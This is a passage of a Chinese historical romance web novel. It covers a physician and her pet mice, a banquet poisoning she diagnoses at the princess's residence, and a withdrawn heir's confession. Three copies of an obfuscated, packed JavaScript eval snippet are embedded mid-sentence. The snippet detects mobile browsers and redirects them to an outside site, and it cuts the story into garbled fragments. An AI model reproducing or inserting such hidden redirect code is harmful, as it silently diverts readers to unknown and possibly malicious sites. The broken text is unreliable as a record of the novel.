夜风呜咽着刮进室内,卷起层叠帐幔。郁净之睁眼,掀起袖口露出方才被赵绥宁触碰过的小臂,羽毛般轻柔的触感在他心头荡漾。 此刻,温度不再,人不在。 他痴痴盯着那一小方漆黑的夜,任凭眼睛再怎么瞪,也瞧不见那带着温度的人影。 小白探头探脑地从暗室里爬出来,见只剩郁净之一人落寞,这才飞奔到他身边用毛茸茸的头蹭他的手掌。 但无论如何,总比上一世真正失去她的时候好过千百倍。 只有这么想,郁净之才能释怀。 “竹影。”他喊。 少年仆从恭敬地步入室内,说:“世子。” “递拜帖至公主府。” 4. 饲养疯狗的第四天 翌日,国公府喧闹异常。 侍女们簇拥着涌入院落,有的捧着稀松疏落的网,有的提着长长的木棍,摩拳擦掌,像是要干一件大事。 而院落的主人——赵绥宁,正侧躺着缩成一团,长发披散,陷在柔软的被褥中做着香甜的美梦。 一只老鼠,两只老鼠……成群的老鼠整齐列着队,恭恭敬敬地托着光洁贵重的玉盘虔诚献礼。玉盘上摆满珍馐,清新的瓜果香沉静地逸散在空中,进而更浓郁的、掺着热气的肉味肆意席卷,将整个小小的房间包裹着,无处不在。 蜿蜒的队伍尽头,赫然是赵绥宁的床。 她正端坐在床边,趾高气昂德指挥着小老鼠,长相可爱圆润的,被她招来近身伺候,要摇扇、表演、闲聊解闷;身材干瘪的,她极为慷慨地分给它们巨大的肉块,令其分而食之。 赵绥宁本人,则没了拘束,惬意倚着细软枕头,一会儿叼着时鲜的葡萄,一会儿大口大口咬着肉,嘴里含糊道:“小乖乖们,只要你们好好伺候着主人我,少不了你们的好日子!” “我肯定会护着你们的!” “——吱!” “砰”一声。 葡萄没了,肉没了,床没了,成队的小老鼠们也没了。 转瞬间化为碎影。 赵绥宁惊醒,身子直挺挺坐起来,惨叫道:“那葡萄我还有一半没吃完呢!” 迷迷糊糊睁开眼,乌压压一片影儿,她呆滞地揉了揉眼睛。 先是叽叽喳喳又尖锐的“吱吱”叫占据了她的大脑,然后又时不时伴随着侍女的尖叫声、桌椅摇晃绊倒的沉重“砰砰”声,再有密密麻麻小爪子和地面、墙面相击产生的清脆“哒哒”声——拳头般大小的鼠鼠们捧着圆鼓鼓的肚皮,灵活又迅速地穿梭在赵绥宁房中。 最后是麻绳卷成的大网无意把眼神迷离一片茫然的赵绥宁整个头和上半身牢牢套中的寂静无声。 侍女们愣在原地,罪魁祸首双手高举在空中,手上空无一物,临了放也不是,不放也不是。连小老鼠都搓着爪子,黑白分明的眼珠子提溜提溜转,和赵绥宁面面相觑。 赵绥宁终于反应过来自己竟成本次闹剧唯一受害者,笨拙地扯着网试图把自己解救出来,讷讷问:“可以先停一会儿吗?” 为首的侍女明荟上前替赵绥宁拉开网,尽力控制住上扬的嘴角,说:“赵医师,方才看您睡得香甜不想打搅,原打算静静抓了就去交差,没成想误伤您了,没事吧?” “采惠,来给赵医师赔罪。”明荟给还傻站在原地的年轻小丫鬟使了个眼色。 采惠局促地一步一步往前挪,白净的脸上羞得通红,小声说道:“是采惠的错,赵医师没事吧?” 看到采惠紧张的样子,赵绥宁突发奇想,她很想知道自己先前去给郁净之看诊时是不是也如采惠一般。 “不碍事的。”她摆手,抬起头可怜兮兮地问明荟,“明荟姐姐,之前我去见世子,回来看小鼠还在没被你弄走以为无事了,这次怎的……” “你刚刚说交差,是主子们下命令了吗?” “不知是哪位主子,可还有转圜的余地?”赵绥宁轻轻抚摸着一只偷跑到床上隔着被子趴在她腿上的瘦小老鼠,神情诚恳,“它们对我来说……很重要,我定会好好管束不让它们乱跑出去吓着主子的!” 明荟有些不忍,微侧头躲开赵绥宁的注视,低声说道:“赵医师,赵妹妹,此次并非我有意刁难,实是国公爷怕这小鼠流窜碰到大公子才下了死命令,我等也着实为难。” “不会的,它们都很乖的,我……”赵绥宁脑子转得飞快,“明荟姐姐,不是我不肯,只是这小鼠可以补虚消疳、解毒疗疮,是我……特地寻来给世子治病的!” “姐姐你也知道,世子身体虚弱,要大补养身。” 上面那番话自然是她信口胡诌的,其实这对郁净之的身体没什么用,只是为保着小鼠的权宜之计罢了。不过她想,郁安和郁净之同为国公的儿子,两相权衡自然是生病的更要紧了。 不料明荟却摇头说:“赵医师,国公更疼爱大公子……”后面几个字轻得几乎听不见。 赵绥宁一时愣住。 说起来,郁安确实惹人喜欢,相较于郁净之则更甚。可若说疼爱郁安,又怎会把他的世子之位拱手让给郁净之?奇怪。 “赵医师,对不住了。”明荟面带歉意,扬手命令道,“都网起来带走。” 人群动了起来。 赵绥宁慌乱地披上外衣,闹腾着要拦:“别,别……” “出什么事了这是,怎的闹出这么大动静?” 身材修长的男人一袭玄色衣袍,泪痣明显,手上却提着略带泥的一揽子草药,站在门外,轻声询问:“可方便我进来?” 是郁安。 侍女们快速把赵绥宁围起来以便她正经穿好衣裙。没过一会儿,赵绥宁开口:“大公子请进。” 明荟同郁安简单解释了缘由。 郁安笑着说:“不碍事,就让它们留着吧。爹那里我去说。” 等明荟一众侍女离开,赵绥宁才瘪着嘴,眼中水盈盈地看郁安,十分感激道:“多谢大公子救我小鼠!日后若有需要我帮助的地方,任凭差遣!” “不用日后,现下就可以报答。”郁安浅笑。 赵绥宁还没反应过来,就被塞了一篮子草药,手也沾上灰扑扑的泥土了。 “我采了些草药,一些是给二郎补身体的,还有一些是给你的,赵姑娘。” “给我的?”她疑惑地扒拉着篮子里的草药,都是些滋补的名贵物件儿,卖上一株就够她吃一年了。 郁安点头,说:“是。” “昨日我发现药园里这些都长得没什么精神,寻思着用来入药应该有损药效,便想着请你帮我处理掉。”郁安从那篮子里挑出半数草药,惋惜道,“还好赵姑娘来了府上,不然它们就要烂在那里无人问津了。” 郁安当然是夸大其词了。国公府药园都有专人打理,一日五次,要来回巡视检查,但凡有一片叶子坏掉下一秒就能被找出来,何谈“无人问津”?就连上次她趁机拿九仙草都是借着郁净之的名头才能动。 “处理掉?”赵绥宁的眼睛霎时亮了起来,“随便怎么处理都行吗?” 郁净之眯眼笑,说:“当然。” “不过我很好奇,姑娘为何对那小鼠这般爱护?明荟说,你刚进国公府就把它们一起带来了。” 适才躲起来的小鼠们吱吱又跳了出来,凑在郁安身边嗅,热情地围着他转了起来。郁安温柔地用食指抚摸它们小小的头顶,和它们明亮的小眼睛对视。 小鼠们似乎很喜欢郁安。 “它们很可爱,毛发油亮,似乎不怕人。”郁安评价道,“赵姑娘很会养鼠。” 赵绥宁讪讪应话,道:“不敢当不敢当。至于为什么,大概是我有愧于它们吧?” “愧?”郁安收回在小鼠们身上的视线,转而望向她,神情专注,“洗耳恭听。” 她尴尬地摸着后脑勺,羞赧地组织了半天措辞,断断续续说:“我……有一天,风和日丽的一天,我不小心……吃了它们的饭。” 郁安抿唇,表情微僵,小心翼翼观察着赵绥宁的眼睛,问:“……吃饱了吗?” 她上下左右转着眼珠子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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竹影观察着郁净之的神色,补充道:“世子,大公子也在赵医师那处。” “嗯。”郁净之彻底停了手上的活计,拆开绣了一半的莲花纹样,“去吧。” “请她来。” 一波未平一波又起,送走郁安,赵绥宁刚坐下的身子又抬起来,被竹影带着和一整筐老鼠们去了郁净之那里。 “世子,您找我有事?”她问,“怎么把我养的小鼠也带了过来?” “您也不准我养吗?”赵绥宁没由得生气,认为强权属实霸道,最可恶的是,她还很难说不。 郁净之没有解答她的疑惑,只说:“带你去见公主殿下。” “我的鼠鼠们……”她瞪着眼去瞧双手提着筐子的竹影远去的背影,不甘道。 郁净之带她上马车,说:“先放我那里。” “竹影会帮你喂好。” 她也暂时不得不从,只能等回来再做打算,毕竟见公主的机会绝无仅有。 若说从前,她赵绥宁想见谁都是心情好递个拜帖的事,就连圣上和娘娘都对她疼爱有加。可那是从前,现在的赵绥宁,一届白丁,拦路想蹭个脸都来不及就被随从拖走了。 郁净之把赵绥宁安置在晚宴上,请公主府的丫鬟好好照看,然后才去拜见那位以艳名远扬的镇国公主。 一进去,轻柔婉转的调调便含着冷意问罪起来:“听说你带了个女人来?” “郁净之,你对阿宁不忠啊。”坐在高位上的女人轻捻丝帕,眼神都没落在他身上。 “实在可恶。”轻飘飘的几个字。 5. 饲养疯狗的第五天 郁净之的腿还没有完全恢复,只能继续坐在轮椅上,衣裳依旧是素白一身。他行礼,说:“殿下,净之此身只会和阿宁一人纠缠。” “不管从前,还是往后——”公主挑眉,斜睨道,“若你真与别人有了感情,本公主将你净了身送到陛下那里侍奉。” “毕竟,他那么需要你替他做些上不得台面的事。” 新帝在位二十年,大夏朝一统天下,外族不敢来犯。一是人才济济,加之不断推行新政;二来则是皇帝的子女各个文韬武略,才华斐然。 镇国公主嵇灵韵,时年三十,出生时天降异象,紫气东来,群鸟围绕在皇宫上方盘旋。国师说公主有帝王之气,于是他变成了先国师,被皇帝杀了。作为帝王,怎么能忍受别人夺了他的帝王之气呢?即便那个人是自己的女儿。 嵇灵韵幼时因为先国师的预言,很不受皇帝待见,吃穿用度处处比她几个哥哥短缺,进书房读书也没哥哥们过得舒服。但她为人要强,落下的进度挑灯夜读也要赶上,射箭手臂力量不够就连着数个月早起晨练。她永远是起得最早、睡得最晚的那个。 总有人劝她,没必要这么吃苦,熬得失了颜色。嵇灵韵固执得闭上眼睛蒙着耳朵,依旧我行我素。她很出色,甚至耀眼,她是午间日头最烈时候的太阳,无人敢直视她的光芒。 可后来不知哪天,她变了。她变得耽于酒色,公主府里养着无数伶人,终日笙歌。还好读书和习武没丢干净,十八岁那年被派去送粮草,一人一马杀了来偷袭的敌军二百余人。皇帝特赐封号“镇国”,之后就继续躺在公主府里和面首寻欢作乐,不理政事,乐得清闲。 这一躺就是十二年。她的哥哥们不再把嵇灵韵看作强劲的对手,就连对预言忌惮颇深的皇帝,也渐渐恢复了慈爱的父亲形象,常常劝诫女儿莫要流连享乐,沉迷其间。 当然,这位镇国公主和赵家也是渊源颇深。按辈分,赵绥宁会称呼公主一声“干娘”。赵家夫人也就是赵绥宁的娘亲——赵千秋,一位能单手提起数十斤铁刀的打铁匠、奇女子,曾在郊外捡到了喝得醉醺醺的嵇灵韵,二人脾性相似,一拍即合,成了闺中密友。 至于为什么赵绥宁的爹姓赵,娘也姓赵,这更是一段趣事。赵玄孺原名慕玄孺,和赵千秋是青梅竹马,两小无猜。只是他胆子小又笨得天真,加之长相清秀,常被同龄人欺负,而赵千秋为人正义,见不得这种事,便出手救下慕玄孺。 慕玄孺不小心绊倒,赵千秋会单手提起他;慕玄孺书被抢了,赵千秋会追着做坏事的孩童跑出二里地;慕玄孺又哭诉无人照顾,想和人相互依赖、相互理解,赵千秋便拍拍胸脯说,有她在,让他万事不必担心。 后来,慕玄孺考取功名,时常难过没有知心人成婚,赵千秋就十分讲义气地同他成了婚;再后来,慕玄孺说喜欢赵千秋的人太多,他没有安全感,怕赵千秋随时会离开他,赵千秋就生了孩子,她给孩子取名绥乐、绥宁,想让孩子一生安宁快乐。 但有了名字,取姓的事竟成了最大的困难。赵千秋坚持让孩子姓慕,因为她爹姓赵,她不喜欢这个姓,说不祥;而慕玄孺坚持让孩子姓赵,一向胆小没主意的他竟说既然不喜欢,就从她这代开始,让孩子过得舒心,让这个姓变成她赵千秋的赵。自她而始,往后千秋。 赵千秋说这是歪理,慕玄孺却觉得他有理有据,倔强地分房要威胁赵千秋。再然后他突然悟出个好点子,既然赵千秋想让孩子和他姓,他又想让孩子姓赵,正正有一个两全其美的办法:他改姓赵,和他夫人一个姓不就好了? 于是这位当朝新贵,慕玄孺慕大人,在办完一件大案子后屁颠屁颠跑进皇宫,用皇帝赏的百亩良田换了一道“赐姓赵”的旨意。当晚他就拿着明黄的旨意,抱着自己的软被和两本话本,又说一个人怕黑,委屈地含着泪溜进赵千秋房中,说对不起夫人,陛下非要赐他姓,他也不敢不从,只求夫人谅解,莫要让他一人独守空房。 赵千秋自然只能抱着瑟瑟发抖的赵玄孺,轻拍着安抚,耐心地听他说,赵姓是皇帝赐的,尊贵异常,是贵姓,往后他们一家子就都是贵姓,赵千秋是贵夫人,赵绥乐、赵绥宁是贵女;再听他蛮横无理地说,要把赵千秋那混账爹以及祖上十八辈都改个乱七八糟的姓,从此和赵千秋没有半点关系。 然后赵玄孺就缠着赵千秋给他读话本,等读至巫山云雨处,他脸上泛起浮红,羞赧地和夫人说,分房太久、旁人嘲笑、孤单寂寞云云,扯东扯西最后来了句:“望夫人疼我。” “殿下说笑了。”郁净之掩唇轻咳,十分周到地说,“陛下有忧,我等臣子当然要鞍前马后替他解忧。” 公主哼笑,说:“他明知赵家蒙冤,还给人下了大狱,谁去求情也不管用。” “就连你,他最听话的狗,想保个姑娘,连跪半月,还自断了两条腿,没了威胁,丢了自尊,也无济于事。”嵇灵韵斜倚着,“郁净之啊郁净之,你可后悔?” “别摆出那副病怏怏的样子,本公主瞧着恶心。和慕玄孺那没用的废物一个样,不知道装可怜给谁看!”提起赵玄孺,嵇灵韵阴沉着脸,她始终不愿意喊他赵玄孺,她觉得赵玄孺配不上她的千秋,也配不上和千秋一个姓。 郁净之坐着,一言不发。 嵇灵韵继续讽刺,道:“不知道你绝顶聪明的脑袋是怎么想出自断双腿这种烂主意的?那天出府没注意脑袋被门夹了?” “难怪阿宁看不上你。”她轻笑。 郁净之终于有了反应,抬起头,黑漆漆的眸子盯着公主,固执说道:“我和阿宁成婚了,我们是夫妻。” 嵇灵韵放声大笑,说:“你个没头脑的蠢货、阴暗角落里的老鼠,只敢偷偷跟在人后面幻想的小可怜,真把自己骗到了?” “怎么?不敢承认你是个面对危机毫无作为的蠢货,还是不敢承认阿宁看不上你的事实?”她挑眉,摇着团扇扇凉,“真把脑子和阿宁一起下葬了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920228|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “关心则乱。”郁净之移开视线,回忆道,“那时候我不知道还有别的什么办法了,脑子里全都是只要她活着便好。” 嵇灵韵一时愣住,后知后觉骂了句:“蠢货。” “只有年轻健壮的狼才能守护自己的种族。你想要的人,不是你割地赔款、哭爹喊娘去求能护下的。” “没了利用价值的你,连自己都难活着,还想保谁?”嵇灵韵意有所指,“你那文盲爹,最近又给你使绊子了吧?本公主听说,他上了几份折子,要把你的世子之位还给你哥哥。” “挺有意思,一个小爵位,还整上换来换去的承袭了。怎么,你爹他老人家正义感爆棚,谁弱就想让谁当世子?” “多谢殿下。”郁净之沉思,补充道,“殿下不必担心我移情别恋,我生是阿宁的人,死是阿宁的鬼,若真爱上别人,千刀万剐也不为过。” 嵇灵韵从鼻子里哼了声:“你最好记住你说的话。” “走吧,去看看你带来的那姑娘。”她莫名来了兴致,“你说她想做官?” “嗯,她……很适合。” · 前厅宴会此刻一片混乱,人挤人将桌子围成一片真空带,追其缘由是桌面上趴了个人,一动不动,像是死了。 原本一帮子女眷其乐融融,欣赏着乐舞,毕竟公主府上的美男有相貌又有技术,吹起埙啊、弹起琴啊、唱个歌跳个舞什么的简直轻轻松松,赏心悦目。 坐在最前排的是正三品中书令家的大女儿谷彤,年方十八,已有婚配且婚期将近。起初众人以为谷彤只是醉酒,遣了侍女上前将人带去休息才发现,谷彤一动不动,怎么叫都不行,俨然是昏迷了。 派人找府医来,看了半柱香也看不出什么症状,想进宫请御医但这个时候宫门落了锁,只能又派人去禀告公主,众人团团围着干着急。 赵绥宁彼时坐在最后面的角落里,看得很清楚。那女子最初东张西望似乎在找什么,然后喝了半斛酒撑着头,手臂有轻微地痉挛,最后才无力地瘫在桌上。她一开始只觉得可疑,没想到会出这档子事,仔细想来,那姑娘中了毒。 公主府上闹出这档子事,影响十分不好,嵇灵韵脸上也无光。倘若此时,有人能站出来解决了,那…… 赵绥宁坏笑着眯起眼睛。 她的机会来了。 “诸位,我也是医师,不妨让我看看?” 女眷们一头雾水,对赵绥宁这个不知从何处冒出来的自称医师的人十分不信任。 有人指着赵绥宁:“你是哪家的?张口就说要看,万一人给你治出问题了谁负责?” 也有人劝:“小姑娘,连公主府上医师都束手无策,你又能怎么办呢?别染了这浑水引火烧身吧……” 这时,先前被郁净之嘱咐好好照看赵绥宁的丫鬟开口,说:“诸位夫人、小姐,赵医师是郁世子府上的女医。” 众人大惊失色,无人敢再谈论,活像被吓到了一样。 6. 饲养疯狗的第六天 赵绥宁发现,在某些时刻,郁净之的名字格外好使。有了侍女的背书,众人如鸟兽散,和赵绥宁顿时拉开几尺,仿佛离得近了就会沾染上什么污秽东西。 她没了束缚,三步并作两步,走上前去,笑眯眯地看向公主府的医师、一位身材高挑削瘦的女人,向她借了银针用。 女人冷语道:“姑娘,你想怎么看诊?” 赵绥宁蹲在谷彤旁边,用手探了探鼻息,还活着。据她观察,谷彤方才没有呕吐或者腹泻的症状,坐在那里仅有抽搐和后来的休克。她们现在市面上流通的毒有这种情况的无非那几个,砒霜、乌头、钩吻、马钱子。 她把借来的银针插进桌面上的食物和酒中,一个一个试过。 有人窃窃私语道:“不就是银针试毒吗……我们都知道的东西,不会是装神弄鬼想在公主面前邀功吧?” “那也得看她能不能装起来,否则,谷彤若真救不回来,在公主府出了事,单公主殿下就不会放过这医师,更别提中书令一家了。”那人压低了声音,“皇亲国戚,有个姐姐在宫里当皇后呢。” 银针拔出来,没有变黑,可以暂时排除砒霜中毒的可能性,至于高纯度砒霜,技术要求太高了,如果真能炼制出来,用来毒害一个小姑娘,实在有些匪夷所思了。 她探头,手指覆在谷彤下颚,轻轻一捏,谷彤的嘴巴张开了一个小口子,没有角弓反张和牙关紧咬的状态,不是马钱子。 谷彤面色苍白,口唇发绀,应是气血衰败之象。皮肤表面没有斑痕溃烂,不是接触性中毒。赵绥宁捋了下谷彤有些凌乱的发丝,有轻微脱发现象,腰部略微臃肿,按下去凹陷不起,许是肾脏出了问题。 尺脉沉弱,甚至脉微欲绝。口带苦味…… 赵绥宁突然想起来之前刚逃出京那会儿,在南方东躲西藏的日子,有人中了毒,也是这种症状,那时她还向其询问,得知是误食了…… 她拧眉沉思,努力回忆着那段时间的记忆,手指尖无意识地捻着银针根部飞快地转起来。 丝毫没有察觉到周围更加安静了,连私语声都消失殆尽。 嵇灵韵摆手示意免了礼数,瞧着蹲在地上思考的小姑娘,眯起眼睛。侧脸倒是有几分相似。再然后,嵇灵韵看到了赵绥宁的小动作,瞳孔微缩,先前略带几分薄怒的面容冷下来,目光炯炯,射向郁净之。 哪成想郁净之已经手动推着轮椅靠近,在赵绥宁身旁坐着,一动不动地盯着她头顶乌黑的发髻,看得入了神。 嵇灵韵用团扇掩面,极度无语地翻了个白眼。 “是雷公藤!”赵绥宁叫出声,惊喜地直起身子想要跳起来去拿药,完全忘了自己现在正窝在谷彤胳膊下面。蹦到一半,头顶遇到了障碍物,一股阻力轻柔地将她摁在原地,赵绥宁疑惑地抬头。 “当心。”郁净之缓慢地撤开手,提醒道。 她眨两下眼睛,睫毛扑扇着,歪头道:“好。” 突然,她看到郁净之身后的嵇灵韵,嘴巴动了起来,还好回神快,只来得及说出:“公主——”干娘两个字被她咽在口中。 “公主殿下金安。”赵绥宁恭恭敬敬地行了礼,接着迅速说,“殿下,世子,谷小姐是中毒了,应该是误食了只在南方生长的雷公藤这种植株。” “雷公藤是断肠草的一种,根皮形似山药,京城罕有,我也是偶尔在南方遇到过才知道。”她正色道,“看症状吃了有一段时间了,毒已至中后期。当务之急是先给小姐服用牛黄丸,待醒过来再辅以参汤补气,先吊着性命。” “去取牛黄丸。”嵇灵韵示意侍女跟着府医一起,然后转向赵绥宁,问:“有一段时间了?不是在公主府中的毒?” 赵绥宁点头,道:“雷公藤初中毒一般是腹泻、呕吐,大量食入才会有昏迷休克的严重症状。可是先前谷小姐宴上只喝了一两口酒,不至于如此。” “去请谷大人来,说本公主有事相谈。”嵇灵韵让小厮前去告知情况。 “至于你——”嵇灵韵走到赵绥宁身前,仔细打量着她的面庞,说,“很好,做得不错。” 她的肩被嵇灵韵轻拍着,她听见嵇灵韵问她,“你想要什么奖励?” 嵇灵韵若有所思道:“不若本公主送你几个人?” “人?”赵绥宁有点懵。 郁净之端坐着,右手蜷在袖中,静静握成拳。 嵇灵韵笑道:“嗯。人。”她朝郁净之看了眼,之后挥挥手,点着席间一众伶人,说:“你,你,还有你,过来。” 被嵇灵韵点到的三个伶人顺服地上前。 一个是可亲的少年,扬着笑,露出小虎牙,甜甜叫道:“殿下。” 一个是温柔知礼的翩翩公子,长发束着,抱着琴,微微弯腰。 还有一个更加独特,带着异域气息,皮肤是健康的小麦色,身上布料很少,但坠着各种链圈,浓眉大眼。 “送你了,小医师。”嵇灵韵露出一抹狡黠的笑。 话音未落,郁净之开口,冷冷道:“殿下,这些个人,赵岁怕是无福消受。” “恕国公府太小,装不下他们。” 嵇灵韵回道:“是国公府小还是你心眼小,郁世子?” “若国公府放不下,就让小医师待在公主府住着,两全其美。”嵇灵韵和蔼地摸了摸赵绥宁的头,“正好公主府很缺小医师这样医术高超的人。” 赵绥宁讪讪低头,心想,干娘人真是好,对有用的人不拘一格,还送美男给她,只可惜她现在确实没心思想这些…… “小医师,你说呢?”嵇灵韵问她。 赵绥宁绞尽脑汁,不想拒绝干娘的好意,又怕郁净之携小鼠以令自己,左右为难。 “赵医师……”郁净之虚弱地咳起来,“到底还是要主人亲自养着才好,旁人养的,总担心短缺了什么,你说是不是?” “竹影没有养小鼠的经验。”他脆弱地捂着胸口,“况且,我身染重疾,情绪不定,只有你在,才能安心片刻……” 郁净之仰头,巴巴儿地望着赵绥宁,说:“公主殿下不缺人伺候,你若来了,我只怕少了个知冷知热的人。” 赵绥宁和郁净之确实是知冷知热的,仅仅字面意义上。她还是很认可这句话的,尤其是,她总觉得郁净之无处不透露出一股极强的脆弱感,仿佛在告诉她,他需要她。 这种被需要感极大填补了赵绥宁心里某个小小的空缺。 嵇灵韵冷哼,评价道:“勾栏做派。” 郁净之不理会,只专注看着赵绥宁,眼中闪着光。 赵绥宁想了想,还是婉拒了公主殿下:“殿下,我有别的更想要的,想求您。” “我知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920229|177030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”嵇灵韵说,“你想做的事我可以帮你,但——” “你也要有足够的实力,否则德不配位,无人信服。”嵇灵韵看着吃了牛黄丸逐渐恢复意识的谷彤,说,“小医师,我认可你的医术,仅此而已。” “明日府上,我给你个机会。” “想要别的,就向我证明,你可以。” 赵绥宁郑重点头,道:“多谢殿下。” 谷彤渐渐有了动静,醒来第一件事便是闹。 “我,我怎么在这里!” 嵇灵韵居高临下地看着谷彤,说:“谷小姐,你以为自己在哪里?” “是这位医师救了你,不然你恐怕危在旦夕了。”和谷彤相熟的一位小姐搂着谷彤的背,感激地说。 谷彤却虚弱地睁开眼,恨恨盯着赵绥宁,叫道:“我根本没事,只是不胜酒力醉了,谁让你多管闲事的!” 赵绥宁扬脸,实话实说:“谷小姐,你自己的身体自己清楚,以这样的状态,你根本活不了三天。” “我不知你的想法,但我清楚,活着才是最重要的。” 谷彤挣扎着起身,举起手臂,想打赵绥宁,含糊说道:“我活不活跟你有什么关系!” 郁净之将赵绥宁向后挡了挡。 赵绥宁轻易地躲过,向嵇灵韵说:“殿下,可以问问谷小姐的侍女,想必她们会知道中毒缘由。” “毕竟,她们并不能像谷小姐这般,随心所欲。” 虽然审问无权势的侍女这招不太好,但胜在获取消息快。 没待多久,公主遣散了宾客,准备闭上门处理谷彤的事。 赵绥宁也准备走,听见公主说:“小医师,若在国公府待得不顺意,来本公主这里。” 她拱手谢恩。 完了发现,郁净之还在原地。 她下意识想推着郁净之回去,手还没放上去,就被郁净之转着轮躲开。 也不怪她这样,在国公府待了几天,郁净之每每和她相处,总是赶了人出去,兴许是不喜欢被人看到他的腿,或者听到什么传出去。没办法,她只能顺手推着不太方便的人到处走。 仆童见状上前要推轮椅,又被郁净之冷冷看了眼,止住脚。 她不甚理解郁净之的想法,不要她推,也不要仆童推,难不成是想留在公主府? 郁净之看着她,哼声:“我自己动。走,回府。” 她点头,安静地跟在后面,突然悟了,原来,郁净之这么好强啊。 今晚的郁净之十分奇怪。 无论是刚才在公主府还是现在回到国公府,她都不太清楚郁净之心里到底在想什么。不过也正常,如果她真的能懂,那她也离不正常的人更进一步了。 “摸摸看。”郁净之从书桌上拿起那副绣了一半金莲纹样的红绸,递给赵绥宁。 她不明所以地接住,手快速且敷衍地划拉两下。 “让你摸,不是划。” 赵绥宁“哦”了声,心思早就飘远去找她的小鼠们了,不甚在意地摸了两下。 “舒服吗?”郁净之问。 “还行。”她应道。 突然手上的绣样被一股力道夺走,赵绥宁回过神来,看见郁净之低着头,捧着绣样,离得远远的。 “我自己绣的。” 半晌,郁净之闷闷道。 7. 饲养疯狗的第七天 “嗯?”赵绥宁闻言瞪大眼睛。她很少见过男人做这些,更别说大部分男子都自诩国之栋梁、肩挑重负,对所谓“小女儿家的事”不屑一顾。郁净之居然会做绣活?真看不出来,也想象不到。要不是郁净之面无表情,她差点以为他在同她说笑了…… “世子亲自绣的?”她又问了一遍。 郁净之这才抬头,和她两两对望,说:“嗯。” “这个,还有那件墨绿色的嫁衣,都是我一点一点绣出来的。”他大方承认,“只是我天资愚钝,往往要绣好几遍才能得到一件勉强能穿的。” “六年前,我就学着做针线活了。”郁净之细细摩挲着红绸,回忆道,“那时候我在想,如果……” 他顿了顿,又状似不经意地快速瞥了眼赵绥宁略带惊讶的面庞,说:“如果我能遇上喜欢的人,如果我喜欢的人也喜欢我,那她的一切,我都要亲手去做。” “我不想让她穿别人做的衣服,不想让她看别人、和别人谈笑,不想让她受苦。” “可是我没有掌控一切的能力和手段。” 赵绥宁看着郁净之胸口起伏,似在叹息,他说:“做了六年,还是绣得歪歪斜斜、花样粗糙——” 他没继续说下去。 今晚郁净之和她说了很多话,她第一次认真地听郁净之说话。 以前种种,刻在赵绥宁记忆里的全是郁净之凶狠似恶犬的样子。那时,她先入为主地以为,郁净之回京,就是郁安的威胁,会欺负郁安,但现在想来,她看到的、听到的,所有关于郁净之的事,无非是保护自己的防卫措施。 她最害怕的时候,是郁净之用随身携带的刀划伤那几个世家子,可根本上,若非那些人挑衅他、欺负他、辱骂、责打他,他不会这样。 郁净之从来没有主动加害过谁。 “我娘跟我说过,喜欢一个人,就是要把一切给她,我认同这句话。”郁净之挪动轮椅向前,“但她的后半句我不同意。” “她说,如果那人不喜欢你,要学会离开。”他定定望着赵绥宁,眸色黑沉,“我做不到。” “一旦放手,她就更不可能把我放在眼里了。那时候,我就会像无人观赏的花,在某个孤冷的寒夜枯萎、凋零。” 赵绥宁不太懂郁净之为什么会和她说这番掏心窝的话,也许是太过孤单无人倾诉?她的心砰砰跳着,不知是被吓得加快了血液的供给抑或是别的什么。 她下意识想逃避这些话题,于是说:“世子,您要养我的小鼠吗?” 郁净之摇头,坦诚道:“放我这里,你会少很多麻烦。你现在只是府上的医师,有些事情你做不了主,你不愿做的也不能违抗。所以我想,有我在,可以替你挡一些。” “就算是你替我治疗的报答吧。”他补充道。 带她去公主府,是治腿的报答;给她挡麻烦,也是治腿的报答。可是郁净之似乎忘了,在他找借口的时候,忘了赵绥宁的身份。赵绥宁是被找过来的女医,不管是治腿、解毒还是别的小事,都是她分内之事。 赵绥宁说:“谢谢……世子。” 郁净之又说:“你今天做的很好。你救了谷彤,给公主减了桩腌臢事。你很好……作为奖励,我会送你一件礼物。” “我知晓我性子不如郁安友善,我阴晴不定、众人畏惧,所以没人喜欢我。但是我希望、我想要,能和郁安说的事、能和别人说的事,你也能对我说。我很想知道……外面的事……” 郁净之将绣样好好放进书桌上的小篮子里,慢慢收回手,又很快地用衣袖遮掩住。 小小的针孔、杂乱地遍布在他的食指和中指指腹。赵绥宁清楚看见了。 “好。”她半蹲下身体,和郁净之保持视线齐平的姿态,扬起笑,说:“以后若有机会,我会把我看到的故事,一一说与世子听。” · 赵绥宁走后,竹影从外面进来,报告说:“世子,国公爷找您去书房。” “嗯。你明日把外面铺子收拾下,还有冶炼用的玄铁,准备好。”郁净之吩咐着,“推我去找国公吧。” 他说了要给赵绥宁备礼,其实他早就想好要送什么了。 